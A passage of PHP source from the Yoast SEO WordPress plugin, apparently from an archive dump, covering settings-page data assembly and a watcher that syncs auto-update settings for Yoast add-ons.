		// Only register WP options when the user is allowed to manage them.
		if ( \current_user_can( 'manage_options' ) ) {
			foreach ( self::WP_OPTIONS as $name ) {
				\register_setting( self::PAGE, $name );
			}
		}
	}

	/**
	 * Adds the page.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_page( $pages ) {
		\array_splice(
			$pages,
			1,
			0,
			[
				[
					'wpseo_dashboard',
					'',
					\__( 'Settings', 'wordpress-seo' ),
					'wpseo_manage_options',
					self::PAGE,
					[ $this, 'display_page' ],
				],
			]
		);

		return $pages;
	}

	/**
	 * Adds a dummy page.
	 *
	 * Because the options route NEEDS to redirect to something.
	 *
	 * @param array $pages The pages.
	 *
	 * @return array The pages.
	 */
	public function add_settings_saved_page( $pages ) {
		$runner = $this->runner;
		\add_submenu_page(
			'',
			'',
			'',
			'wpseo_manage_options',
			self::PAGE . '_saved',
			static function () use ( $runner ) {
				// Add success indication to HTML response.
				$success = empty( \get_settings_errors() ) ? 'true' : 'false';
				echo \esc_html( "{{ yoast-success: $success }}" );

				$runner->run();
				if ( ! $runner->is_successful() ) {
					$failure_reason = $runner->get_generation_failure_reason();
					echo \esc_html( "{{ yoast-llms-txt-generation-failure: $failure_reason }}" );
				}
			}
		);

		return $pages;
	}

	/**
	 * Displays the page.
	 *
	 * @return void
	 */
	public function display_page() {
		echo '<div id="yoast-seo-settings"></div>';
	}

	/**
	 * Enqueues the assets.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		// Remove the emoji script as it is incompatible with both React and any contenteditable fields.
		\remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
		\wp_enqueue_media();
		$this->asset_manager->enqueue_script( 'new-settings' );
		$this->asset_manager->enqueue_style( 'new-settings' );
		if ( \YoastSEO()->classes->get( Promotion_Manager::class )->is( 'black-friday-promotion' ) ) {
			$this->asset_manager->enqueue_style( 'black-friday-banner' );
		}
		$this->asset_manager->localize_script( 'new-settings', 'wpseoScriptData', $this->get_script_data() );
	}

	/**
	 * Removes all current WP notices.
	 *
	 * @return void
	 */
	public function remove_notices() {
		\remove_all_actions( 'admin_notices' );
		\remove_all_actions( 'user_admin_notices' );
		\remove_all_actions( 'network_admin_notices' );
		\remove_all_actions( 'all_admin_notices' );
	}

	/**
	 * Creates the script data.
	 *
	 * @return array The script data.
	 */
	protected function get_script_data() {
		$default_setting_values = $this->get_default_setting_values();
		$settings               = $this->get_settings( $default_setting_values );
		$post_types             = $this->post_type_helper->get_indexable_post_type_objects();
		$taxonomies             = $this->taxonomy_helper->get_indexable_taxonomy_objects();

		// Check if attachments are included in indexation.
		if ( ! \array_key_exists( 'attachment', $post_types ) ) {
			// Always include attachments in the settings, to let the user enable them again.
			$attachment_object = \get_post_type_object( 'attachment' );
			if ( ! empty( $attachment_object ) ) {
				$post_types['attachment'] = $attachment_object;
			}
		}
		// Check if post formats are included in indexation.
		if ( ! \array_key_exists( 'post_format', $taxonomies ) ) {
			// Always include post_format in the settings, to let the user enable them again.
			$post_format_object = \get_taxonomy( 'post_format' );
			if ( ! empty( $post_format_object ) ) {
				$taxonomies['post_format'] = $post_format_object;
			}
		}

		$transformed_post_types = $this->transform_post_types( $post_types );
		$transformed_taxonomies = $this->transform_taxonomies( $taxonomies, \array_keys( $transformed_post_types ) );

		// Check if there is a new content type to show notification only once in the settings.
		$show_new_content_type_notification = $this->content_type_visibility->maybe_add_settings_notification();

		return [
			'settings'                       => $this->transform_settings( $settings ),
			'defaultSettingValues'           => $default_setting_values,
			'disabledSettings'               => $this->get_disabled_settings( $settings ),
			'endpoint'                       => \admin_url( 'options.php' ),
			'nonce'                          => \wp_create_nonce( self::PAGE . '-options' ),
			'separators'                     => WPSEO_Option_Titles::get_instance()->get_separator_options_for_display(),
			'replacementVariables'           => $this->get_replacement_variables(),
			'schema'                         => $this->get_schema( $transformed_post_types ),
			'preferences'                    => $this->get_preferences( $settings ),
			'linkParams'                     => WPSEO_Shortlinker::get_query_params(),
			'postTypes'                      => $transformed_post_types,
			'taxonomies'                     => $transformed_taxonomies,
			'fallbacks'                      => $this->get_fallbacks(),
			'showNewContentTypeNotification' => $show_new_content_type_notification,
			'currentPromotions'              => \YoastSEO()->classes->get( Promotion_Manager::class )->get_current_promotions(),
			'llmsTxt'                        => $this->llms_txt_configuration->get_configuration(),
			'initialLlmTxtPages'             => $this->get_site_llms_txt_pages( $settings ),
		];
	}

	/**
	 * Retrieves the preferences.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The preferences.
	 */
	protected function get_preferences( $settings ) {
		$shop_page_id             = $this->woocommerce_helper->get_shop_page_id();
		$homepage_is_latest_posts = \get_option( 'show_on_front' ) === 'posts';
		$page_on_front            = \get_option( 'page_on_front' );
		$page_for_posts           = \get_option( 'page_for_posts' );

		$addon_manager          = new WPSEO_Addon_Manager();
		$woocommerce_seo_active = \is_plugin_active( $addon_manager->get_plugin_file( WPSEO_Addon_Manager::WOOCOMMERCE_SLUG ) );

		if ( empty( $page_on_front ) ) {
			$page_on_front = $page_for_posts;
		}

		$business_settings_url = \get_admin_url( null, 'admin.php?page=wpseo_local' );
		if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
			$local_options      = \get_option( 'wpseo_local' );
			$multiple_locations = $local_options['use_multiple_locations'];
			$same_organization  = $local_options['multiple_locations_same_organization'];
			if ( $multiple_locations === 'on' && $same_organization !== 'on' ) {
				$business_settings_url = \get_admin_url( null, 'edit.php?post_type=wpseo_locations' );
			}
		}

		return [
			'isPremium'                     => $this->product_helper->is_premium(),
			'isRtl'                         => \is_rtl(),
			'isNetworkAdmin'                => \is_network_admin(),
			'isMainSite'                    => \is_main_site(),
			'isMultisite'                   => \is_multisite(),
			'isWooCommerceActive'           => $this->woocommerce_helper->is_active(),
			'isLocalSeoActive'              => \defined( 'WPSEO_LOCAL_FILE' ),
			'isNewsSeoActive'               => \defined( 'WPSEO_NEWS_FILE' ),
			'isWooCommerceSEOActive'        => $woocommerce_seo_active,
			'siteUrl'                       => \get_bloginfo( 'url' ),
			'siteTitle'                     => \get_bloginfo( 'name' ),
			'sitemapUrl'                    => WPSEO_Sitemaps_Router::get_base_url( 'sitemap_index.xml' ),
			'hasWooCommerceShopPage'        => $shop_page_id !== -1,
			'editWooCommerceShopPageUrl'    => \get_edit_post_link( $shop_page_id, 'js' ),
			'wooCommerceShopPageSettingUrl' => \get_admin_url( null, 'admin.php?page=wc-settings&tab=products' ),
			'localSeoPageSettingUrl'        => $business_settings_url,
			'homepageIsLatestPosts'         => $homepage_is_latest_posts,
			'homepagePageEditUrl'           => \get_edit_post_link( $page_on_front, 'js' ),
			'homepagePostsEditUrl'          => \get_edit_post_link( $page_for_posts, 'js' ),
			'createUserUrl'                 => \admin_url( 'user-new.php' ),
			'createPageUrl'                 => \admin_url( 'post-new.php?post_type=page' ),
			'editUserUrl'                   => \admin_url( 'user-edit.php' ),
			'editTaxonomyUrl'               => \admin_url( 'edit-tags.php' ),
			'generalSettingsUrl'            => \admin_url( 'options-general.php' ),
			'companyOrPersonMessage'        => \apply_filters( 'wpseo_knowledge_graph_setting_msg', '' ),
			'currentUserId'                 => \get_current_user_id(),
			'canCreateUsers'                => \current_user_can( 'create_users' ),
			'canCreatePages'                => \current_user_can( 'edit_pages' ),
			'canEditUsers'                  => \current_user_can( 'edit_users' ),
			'canManageOptions'              => \current_user_can( 'manage_options' ),
			'userLocale'                    => \str_replace( '_', '-', \get_user_locale() ),
			'pluginUrl'                     => \plugins_url( '', \WPSEO_FILE ),
			'showForceRewriteTitlesSetting' => ! \current_theme_supports( 'title-tag' ) && ! ( \function_exists( 'wp_is_block_theme' ) && \wp_is_block_theme() ),
			'upsellSettings'                => $this->get_upsell_settings(),
			'siteRepresentsPerson'          => $this->get_site_represents_person( $settings ),
			'siteBasicsPolicies'            => $this->get_site_basics_policies( $settings ),
		];
	}

	/**
	 * Retrieves the currently represented person.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The currently represented person.
	 */
	protected function get_site_represents_person( $settings ) {
		$person = [
			'id'   => false,
			'name' => '',
		];

		if ( isset( $settings['wpseo_titles']['company_or_person_user_id'] ) ) {
			$person['id'] = $settings['wpseo_titles']['company_or_person_user_id'];
			$user         = \get_userdata( $person['id'] );
			if ( $user instanceof WP_User ) {
				$person['name'] = $user->get( 'display_name' );
			}
		}

		return $person;
	}

	/**
	 * Get site policy data.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The policy data.
	 */
	private function get_site_basics_policies( $settings ) {
		$policies = [];

		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['publishing_principles_id'], 'publishing_principles_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ownership_funding_info_id'], 'ownership_funding_info_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['actionable_feedback_policy_id'], 'actionable_feedback_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['corrections_policy_id'], 'corrections_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['ethics_policy_id'], 'ethics_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_policy_id'], 'diversity_policy_id' );
		$policies = $this->maybe_add_policy( $policies, $settings['wpseo_titles']['diversity_staffing_report_id'], 'diversity_staffing_report_id' );

		return $policies;
	}

	/**
	 * Adds policy data if it is present.
	 *
	 * @param array  $policies The existing policy data.
	 * @param int    $policy   The policy id to check.
	 * @param string $key      The option key name.
	 *
	 * @return array<int, string> The policy data.
	 */
	private function maybe_add_policy( $policies, $policy, $key ) {
		$policy_array = [
			'id'   => 0,
			'name' => \__( 'None', 'wordpress-seo' ),
		];

		if ( isset( $policy ) && \is_int( $policy ) ) {
			$policy_array['id'] = $policy;
			$post               = \get_post( $policy );
			if ( $post instanceof WP_Post ) {
				if ( $post->post_status !== 'publish' || $post->post_password !== '' ) {
					return $policies;
				}
				$policy_array['name'] = $post->post_title;
			}
		}

		$policies[ $key ] = $policy_array;

		return $policies;
	}

	/**
	 * Adds page if it is present.
	 *
	 * @param array<int, string> $pages   The existing pages.
	 * @param int                $page_id The page id to check.
	 * @param string             $key     The option key name.
	 *
	 * @return array<int, string> The policy data.
	 */
	private function maybe_add_page( $pages, $page_id, $key ) {
		if ( isset( $page_id ) && \is_int( $page_id ) && $page_id !== 0 ) {
			$post = $this->manual_post_collection->get_content_type_entry( $page_id );
			if ( $post === null ) {
				return $pages;
			}

			$pages[ $key ] = [
				'id'    => $page_id,
				'title' => ( $post->get_title() ) ? $post->get_title() : $post->get_slug(),
				'slug'  => $post->get_slug(),
			];
		}

		return $pages;
	}

	/**
	 * Get site llms.txt pages.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array<string, array<string, int|string>> The llms.txt pages.
	 */
	private function get_site_llms_txt_pages( $settings ) {
		$llms_txt_pages = [];

		$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['about_us_page'], 'about_us_page' );
		$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['contact_page'], 'contact_page' );
		$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['terms_page'], 'terms_page' );
		$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['privacy_policy_page'], 'privacy_policy_page' );
		$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $settings['wpseo_llmstxt']['shop_page'], 'shop_page' );

		if ( isset( $settings['wpseo_llmstxt']['other_included_pages'] ) && \is_array( $settings['wpseo_llmstxt']['other_included_pages'] ) ) {
			foreach ( $settings['wpseo_llmstxt']['other_included_pages'] as $key => $page_id ) {
				$llms_txt_pages = $this->maybe_add_page( $llms_txt_pages, $page_id, 'other_included_pages-' . $key );
			}
		}

		return $llms_txt_pages;
	}

	/**
	 * Returns settings for the Call to Buy (CTB) buttons.
	 *
	 * @return array<string> The array of CTB settings.
	 */
	public function get_upsell_settings() {
		return [
			'actionId'     => 'load-nfd-ctb',
			'premiumCtbId' => 'f6a84663-465f-4cb5-8ba5-f7a6d72224b2',
		];
	}

	/**
	 * Retrieves the default setting values.
	 *
	 * These default values are currently being used in the UI for dummy fields.
	 * Dummy fields should not expose or reflect the actual data.
	 *
	 * @return array The default setting values.
	 */
	protected function get_default_setting_values() {
		$defaults = [];

		// Add Yoast settings.
		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				$option_instance          = WPSEO_Options::get_option_instance( $option_name );
				$defaults[ $option_name ] = ( $option_instance ) ? $option_instance->get_defaults() : [];
			}
		}
		// Add WP settings.
		foreach ( self::WP_OPTIONS as $option_name ) {
			$defaults[ $option_name ] = '';
		}

		// Remove disallowed settings.
		foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
			foreach ( $disallowed_settings as $disallowed_setting ) {
				unset( $defaults[ $option_name ][ $disallowed_setting ] );
			}
		}

		if ( \defined( 'WPSEO_LOCAL_FILE' ) ) {
			$defaults = $this->get_defaults_from_local_seo( $defaults );
		}

		return $defaults;
	}

	/**
	 * Retrieves the organization schema values from Local SEO for defaults in Site representation fields.
	 * Specifically for the org-vat-id, org-tax-id, org-email and org-phone options.
	 *
	 * @param array<string|int|bool> $defaults The settings defaults.
	 *
	 * @return array<string|int|bool> The settings defaults with local seo overides.
	 */
	protected function get_defaults_from_local_seo( $defaults ) {
		$local_options      = \get_option( 'wpseo_local' );
		$multiple_locations = $local_options['use_multiple_locations'];
		$same_organization  = $local_options['multiple_locations_same_organization'];
		$shared_info        = $local_options['multiple_locations_shared_business_info'];
		if ( $multiple_locations !== 'on' || ( $multiple_locations === 'on' && $same_organization === 'on' && $shared_info === 'on' ) ) {
			$defaults['wpseo_titles']['org-vat-id'] = $local_options['location_vat_id'];
			$defaults['wpseo_titles']['org-tax-id'] = $local_options['location_tax_id'];
			$defaults['wpseo_titles']['org-email']  = $local_options['location_email'];
			$defaults['wpseo_titles']['org-phone']  = $local_options['location_phone'];
		}

		if ( \wpseo_has_primary_location() ) {
			$primary_location = $local_options['multiple_locations_primary_location'];

			$location_keys = [
				'org-phone'  => [
					'is_overridden' => '_wpseo_is_overridden_business_phone',
					'value'         => '_wpseo_business_phone',
				],
				'org-email'  => [
					'is_overridden' => '_wpseo_is_overridden_business_email',
					'value'         => '_wpseo_business_email',
				],
				'org-tax-id' => [
					'is_overridden' => '_wpseo_is_overridden_business_tax_id',
					'value'         => '_wpseo_business_tax_id',
				],
				'org-vat-id' => [
					'is_overridden' => '_wpseo_is_overridden_business_vat_id',
					'value'         => '_wpseo_business_vat_id',
				],
			];

			foreach ( $location_keys as $key => $meta_keys ) {
				$is_overridden = ( $shared_info === 'on' ) ? \get_post_meta( $primary_location, $meta_keys['is_overridden'], true ) : false;
				if ( $is_overridden === 'on' || $shared_info !== 'on' ) {
					$post_meta_value                  = \get_post_meta( $primary_location, $meta_keys['value'], true );
					$defaults['wpseo_titles'][ $key ] = ( $post_meta_value ) ? $post_meta_value : '';
				}
			}
		}

		return $defaults;
	}

	/**
	 * Retrieves the settings and their values.
	 *
	 * @param array $default_setting_values The default setting values.
	 *
	 * @return array The settings.
	 */
	protected function get_settings( $default_setting_values ) {
		$settings = [];

		// Add Yoast settings.
		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				$settings[ $option_name ] = \array_merge( $default_setting_values[ $option_name ], WPSEO_Options::get_option( $option_name ) );
			}
		}
		// Add WP settings.
		foreach ( self::WP_OPTIONS as $option_name ) {
			$settings[ $option_name ] = \get_option( $option_name );
		}

		// Remove disallowed settings.
		foreach ( self::DISALLOWED_SETTINGS as $option_name => $disallowed_settings ) {
			foreach ( $disallowed_settings as $disallowed_setting ) {
				unset( $settings[ $option_name ][ $disallowed_setting ] );
			}
		}

		return $settings;
	}

	/**
	 * Transforms setting values.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The settings.
	 */
	protected function transform_settings( $settings ) {
		if ( isset( $settings['wpseo_titles']['breadcrumbs-sep'] ) ) {
			/**
			 * The breadcrumbs separator default value is the HTML entity `&raquo;`.
			 * Which does not get decoded in our JS, while it did in our Yoast form. Decode it here as an exception.
			 */
			$settings['wpseo_titles']['breadcrumbs-sep'] = \html_entity_decode(
				$settings['wpseo_titles']['breadcrumbs-sep'],
				( \ENT_NOQUOTES | \ENT_HTML5 ),
				'UTF-8'
			);
		}

		/**
		 * Decode some WP options.
		 */
		$settings['blogdescription'] = \html_entity_decode(
			$settings['blogdescription'],
			( \ENT_NOQUOTES | \ENT_HTML5 ),
			'UTF-8'
		);

		if ( isset( $settings['wpseo_llmstxt']['other_included_pages'] ) ) {
			// Append an empty page to the other included pages, so that we manage to show an empty field in the UI.
			$settings['wpseo_llmstxt']['other_included_pages'][] = 0;
		}

		return $settings;
	}

	/**
	 * Retrieves the disabled settings.
	 *
	 * @param array $settings The settings.
	 *
	 * @return array The settings.
	 */
	protected function get_disabled_settings( $settings ) {
		$disabled_settings = [];
		$site_language     = $this->language_helper->get_language();

		foreach ( WPSEO_Options::$options as $option_name => $instance ) {
			if ( ! \in_array( $option_name, self::ALLOWED_OPTION_GROUPS, true ) ) {
				continue;
			}

			$disabled_settings[ $option_name ] = [];
			$option_instance                   = WPSEO_Options::get_option_instance( $option_name );
			if ( $option_instance === false ) {
				continue;
			}
			foreach ( $settings[ $option_name ] as $setting_name => $setting_value ) {
				if ( $option_instance->is_disabled( $setting_name ) ) {
					$disabled_settings[ $option_name ][ $setting_name ] = 'network';
				}
			}
		}

		// Remove disabled on multisite settings.
		if ( \is_multisite() ) {
			foreach ( self::DISABLED_ON_MULTISITE_SETTINGS as $option_name => $disabled_ms_settings ) {
				if ( \array_key_exists( $option_name, $disabled_settings ) ) {
					foreach ( $disabled_ms_settings as $disabled_ms_setting ) {
						$disabled_settings[ $option_name ][ $disabled_ms_setting ] = 'multisite';
					}
				}
			}
		}

		if ( \array_key_exists( 'wpseo', $disabled_settings ) && ! $this->language_helper->has_inclusive_language_support( $site_language ) ) {
			$disabled_settings['wpseo']['inclusive_language_analysis_active'] = 'language';
		}

		return $disabled_settings;
	}

	/**
	 * Retrieves the replacement variables.
	 *
	 * @return array The replacement variables.
	 */
	protected function get_replacement_variables() {
		$recommended_replace_vars = new WPSEO_Admin_Recommended_Replace_Vars();
		$specific_replace_vars    = new WPSEO_Admin_Editor_Specific_Replace_Vars();
		$replacement_variables    = $this->replace_vars->get_replacement_variables_with_labels();

		return [
			'variables'   => $replacement_variables,
			'recommended' => $recommended_replace_vars->get_recommended_replacevars(),
			'specific'    => $specific_replace_vars->get(),
			'shared'      => $specific_replace_vars->get_generic( $replacement_variables ),
		];
	}

	/**
	 * Retrieves the schema.
	 *
	 * @param array $post_types The post types.
	 *
	 * @return array The schema.
	 */
	protected function get_schema( array $post_types ) {
		$schema = [];

		foreach ( $this->schema_types->get_article_type_options() as $article_type ) {
			$schema['articleTypes'][ $article_type['value'] ] = [
				'label' => $article_type['name'],
				'value' => $article_type['value'],
			];
		}

		foreach ( $this->schema_types->get_page_type_options() as $page_type ) {
			$schema['pageTypes'][ $page_type['value'] ] = [
				'label' => $page_type['name'],
				'value' => $page_type['value'],
			];
		}

		$schema['articleTypeDefaults'] = [];
		$schema['pageTypeDefaults']    = [];
		foreach ( $post_types as $name => $post_type ) {
			$schema['articleTypeDefaults'][ $name ] = WPSEO_Options::get_default( 'wpseo_titles', "schema-article-type-$name" );
			$schema['pageTypeDefaults'][ $name ]    = WPSEO_Options::get_default( 'wpseo_titles', "schema-page-type-$name" );
		}

		return $schema;
	}

	/**
	 * Transforms the post types, to represent them.
	 *
	 * @param WP_Post_Type[] $post_types The WP_Post_Type array to transform.
	 *
	 * @return array The post types.
	 */
	protected function transform_post_types( $post_types ) {
		$transformed    = [];
		$new_post_types = $this->options->get( 'new_post_types', [] );
		foreach ( $post_types as $post_type ) {
			$transformed[ $post_type->name ] = [
				'name'                 => $post_type->name,
				'route'                => $this->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ),
				'label'                => $post_type->label,
				'singularLabel'        => $post_type->labels->singular_name,
				'hasArchive'           => $this->post_type_helper->has_archive( $post_type ),
				'hasSchemaArticleType' => $this->article_helper->is_article_post_type( $post_type->name ),
				'menuPosition'         => $post_type->menu_position,
				'isNew'                => \in_array( $post_type->name, $new_post_types, true ),
			];
		}

		\uasort( $transformed, [ $this, 'compare_post_types' ] );

		return $transformed;
	}

	/**
	 * Compares two post types.
	 *
	 * @param array $a The first post type.
	 * @param array $b The second post type.
	 *
	 * @return int The order.
	 */
	protected function compare_post_types( $a, $b ) {
		if ( $a['menuPosition'] === null && $b['menuPosition'] !== null ) {
			return 1;
		}
		if ( $a['menuPosition'] !== null && $b['menuPosition'] === null ) {
			return -1;
		}

		if ( $a['menuPosition'] === null && $b['menuPosition'] === null ) {
			// No position specified, order alphabetically by label.
			return \strnatcmp( $a['label'], $b['label'] );
		}

		return ( ( $a['menuPosition'] < $b['menuPosition'] ) ? -1 : 1 );
	}

	/**
	 * Transforms the taxonomies, to represent them.
	 *
	 * @param WP_Taxonomy[] $taxonomies      The WP_Taxonomy array to transform.
	 * @param string[]      $post_type_names The post type names.
	 *
	 * @return array The taxonomies.
	 */
	protected function transform_taxonomies( $taxonomies, $post_type_names ) {
		$transformed    = [];
		$new_taxonomies = $this->options->get( 'new_taxonomies', [] );
		foreach ( $taxonomies as $taxonomy ) {
			$transformed[ $taxonomy->name ] = [
				'name'          => $taxonomy->name,
				'route'         => $this->get_route( $taxonomy->name, $taxonomy->rewrite, $taxonomy->rest_base ),
				'label'         => $taxonomy->label,
				'showUi'        => $taxonomy->show_ui,
				'singularLabel' => $taxonomy->labels->singular_name,
				'postTypes'     => \array_filter(
					$taxonomy->object_type,
					static function ( $object_type ) use ( $post_type_names ) {
						return \in_array( $object_type, $post_type_names, true );
					}
				),
				'isNew'         => \in_array( $taxonomy->name, $new_taxonomies, true ),
			];
		}

		\uasort(
			$transformed,
			static function ( $a, $b ) {
				return \strnatcmp( $a['label'], $b['label'] );
			}
		);

		return $transformed;
	}

	/**
	 * Gets the route from a name, rewrite and rest_base.
	 *
	 * @param string $name      The name.
	 * @param array  $rewrite   The rewrite data.
	 * @param string $rest_base The rest base.
	 *
	 * @return string The route.
	 */
	protected function get_route( $name, $rewrite, $rest_base ) {
		$route = $name;
		if ( isset( $rewrite['slug'] ) ) {
			$route = $rewrite['slug'];
		}
		if ( ! empty( $rest_base ) ) {
			$route = $rest_base;
		}
		// Always strip leading slashes.
		while ( \substr( $route, 0, 1 ) === '/' ) {
			$route = \substr( $route, 1 );
		}

		return $route;
	}

	/**
	 * Retrieves the fallbacks.
	 *
	 * @return array The fallbacks.
	 */
	protected function get_fallbacks() {
		$site_logo_id = \get_option( 'site_logo' );
		if ( ! $site_logo_id ) {
			$site_logo_id = \get_theme_mod( 'custom_logo' );
		}
		if ( ! $site_logo_id ) {
			$site_logo_id = '0';
		}

		return [
			'siteLogoId' => $site_logo_id,
		];
	}
}
integrations/watchers/addon-update-watcher.php000066600000016215152204306260015614 0ustar00<?php

namespace Yoast\WP\SEO\Integrations\Watchers;

use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Enables Yoast add-on auto updates when Yoast SEO is enabled and the other way around.
 *
 * Also removes the auto-update toggles from the Yoast SEO add-ons.
 */
class Addon_Update_Watcher implements Integration_Interface {

	/**
	 * ID string used by WordPress to identify the free plugin.
	 *
	 * @var string
	 */
	public const WPSEO_FREE_PLUGIN_ID = 'wordpress-seo/wp-seo.php';

	/**
	 * A list of Yoast add-on identifiers.
	 *
	 * @var string[]
	 */
	public const ADD_ON_PLUGIN_FILES = [
		'wordpress-seo-premium/wp-seo-premium.php',
		'wpseo-video/video-seo.php',
		'wpseo-local/local-seo.php', // When installing Local through a released zip, the path is different from the path on a dev environment.
		'wpseo-woocommerce/wpseo-woocommerce.php',
		'wpseo-news/wpseo-news.php',
		'acf-content-analysis-for-yoast-seo/yoast-acf-analysis.php', // When installing ACF for Yoast through a released zip, the path is different from the path on a dev environment.
	];

	/**
	 * Registers the hooks.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'add_site_option_auto_update_plugins', [ $this, 'call_toggle_auto_updates_with_empty_array' ], 10, 2 );
		\add_action( 'update_site_option_auto_update_plugins', [ $this, 'toggle_auto_updates_for_add_ons' ], 10, 3 );
		\add_filter( 'plugin_auto_update_setting_html', [ $this, 'replace_auto_update_toggles_of_addons' ], 10, 2 );
		\add_action( 'activated_plugin', [ $this, 'maybe_toggle_auto_updates_for_new_install' ] );
	}

	/**
	 * Returns the conditionals based on which this loadable should be active.
	 *
	 * @return string[] The conditionals.
	 */
	public static function get_conditionals() {
		return [ Admin_Conditional::class ];
	}

	/**
	 * Replaces the auto-update toggle links for the Yoast add-ons
	 * with a text explaining that toggling the Yoast SEO auto-update setting
	 * automatically toggles the one for the setting for the add-ons as well.
	 *
	 * @param string $old_html The old HTML.
	 * @param string $plugin   The plugin.
	 *
	 * @return string The new HTML, with the auto-update toggle link replaced.
	 */
	public function replace_auto_update_toggles_of_addons( $old_html, $plugin ) {
		if ( ! \is_string( $old_html ) ) {
			return $old_html;
		}

		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return $old_html;
		}

		$auto_updated_plugins = \get_site_option( 'auto_update_plugins' );

		if ( $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $auto_updated_plugins ) ) {
			return \sprintf(
				'<em>%s</em>',
				\sprintf(
				/* Translators: %1$s resolves to Yoast SEO. */
					\esc_html__( 'Auto-updates are enabled based on this setting for %1$s.', 'wordpress-seo' ),
					'Yoast SEO'
				)
			);
		}

		return \sprintf(
			'<em>%s</em>',
			\sprintf(
			/* Translators: %1$s resolves to Yoast SEO. */
				\esc_html__( 'Auto-updates are disabled based on this setting for %1$s.', 'wordpress-seo' ),
				'Yoast SEO'
			)
		);
	}

	/**
	 * Handles the situation where the auto_update_plugins option did not previously exist.
	 *
	 * @param string      $option The name of the option that is being created.
	 * @param array|mixed $value  The new (and first) value of the option that is being created.
	 *
	 * @return void
	 */
	public function call_toggle_auto_updates_with_empty_array( $option, $value ) {
		if ( $option !== 'auto_update_plugins' ) {
			return;
		}

		$this->toggle_auto_updates_for_add_ons( $option, $value, [] );
	}

	/**
	 * Enables premium auto updates when free are enabled and the other way around.
	 *
	 * @param string $option    The name of the option that has been updated.
	 * @param array  $new_value The new value of the `auto_update_plugins` option.
	 * @param array  $old_value The old value of the `auto_update_plugins` option.
	 *
	 * @return void
	 */
	public function toggle_auto_updates_for_add_ons( $option, $new_value, $old_value ) {
		if ( $option !== 'auto_update_plugins' ) {
			// If future versions of WordPress change this filter's behavior, our behavior should stay consistent.
			return;
		}

		if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
			return;
		}

		$auto_updates_are_enabled  = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $new_value );
		$auto_updates_were_enabled = $this->are_auto_updates_enabled( self::WPSEO_FREE_PLUGIN_ID, $old_value );

		if ( $auto_updates_are_enabled === $auto_updates_were_enabled ) {
			// Auto-updates for Yoast SEO have stayed the same, so have neither been enabled or disabled.
			return;
		}

		$auto_updates_have_been_enabled = $auto_updates_are_enabled && ! $auto_updates_were_enabled;

		if ( $auto_updates_have_been_enabled ) {
			$this->enable_auto_updates_for_addons( $new_value );
			return;
		}
		else {
			$this->disable_auto_updates_for_addons( $new_value );
			return;
		}

		if ( ! $auto_updates_are_enabled ) {
			return;
		}

		$auto_updates_have_been_removed = false;
		foreach ( self::ADD_ON_PLUGIN_FILES as $addon ) {
			if ( ! $this->are_auto_updates_enabled( $addon, $new_value ) ) {
				$auto_updates_have_been_removed = true;
				break;
			}
		}

		if ( $auto_updates_have_been_removed ) {
			$this->enable_auto_updates_for_addons( $new_value );
		}
	}

	/**
	 * Trigger a change in the auto update detection whenever a new Yoast addon is activated.
	 *
	 * @param string $plugin The plugin that is activated.
	 *
	 * @return void
	 */
	public function maybe_toggle_auto_updates_for_new_install( $plugin ) {
		$not_a_yoast_addon = ! \in_array( $plugin, self::ADD_ON_PLUGIN_FILES, true );

		if ( $not_a_yoast_addon ) {
			return;
		}

		$enabled_auto_updates = \get_site_option( 'auto_update_plugins' );
		$this->toggle_auto_updates_for_add_ons( 'auto_update_plugins', $enabled_auto_updates, [] );
	}

	/**
	 * Enables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function enable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_unique( \array_merge( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Disables auto-updates for all addons.
	 *
	 * @param string[] $auto_updated_plugins The current list of auto-updated plugins.
	 *
	 * @return void
	 */
	protected function disable_auto_updates_for_addons( $auto_updated_plugins ) {
		$plugins = \array_values( \array_diff( $auto_updated_plugins, self::ADD_ON_PLUGIN_FILES ) );
		\update_site_option( 'auto_update_plugins', $plugins );
	}

	/**
	 * Checks whether auto updates for a plugin are enabled.
	 *
	 * @param string $plugin_id            The plugin ID.
	 * @param array  $auto_updated_plugins The array of auto updated plugins.
	 *
	 * @return bool Whether auto updates for a plugin are enabled.
	 */
